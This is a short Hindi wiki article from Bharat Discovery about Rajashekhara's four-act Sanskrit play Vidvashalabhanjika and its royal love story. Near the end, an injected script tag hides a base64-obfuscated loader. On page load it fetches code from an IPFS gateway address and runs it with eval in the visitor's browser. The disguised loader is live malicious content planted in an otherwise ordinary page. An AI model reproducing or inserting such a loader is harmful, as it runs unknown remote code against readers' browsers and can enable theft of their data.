एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

विद्वशालभंजिका

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 08:30, 11 सितम्बर 2012 का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

संस्कृत कवि राजशेखर द्वारा रचित विद्वशालभंजिका चार अंकों का नाटक है, जिसमें 'विद्याधर मल्ल' नामक राजकुमार तथा 'मृगांकावली' एवं 'कुवलयमाला' नामक राजकुमारियों की प्रेमकथा का वर्णन है।


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


बोल्ड पाठ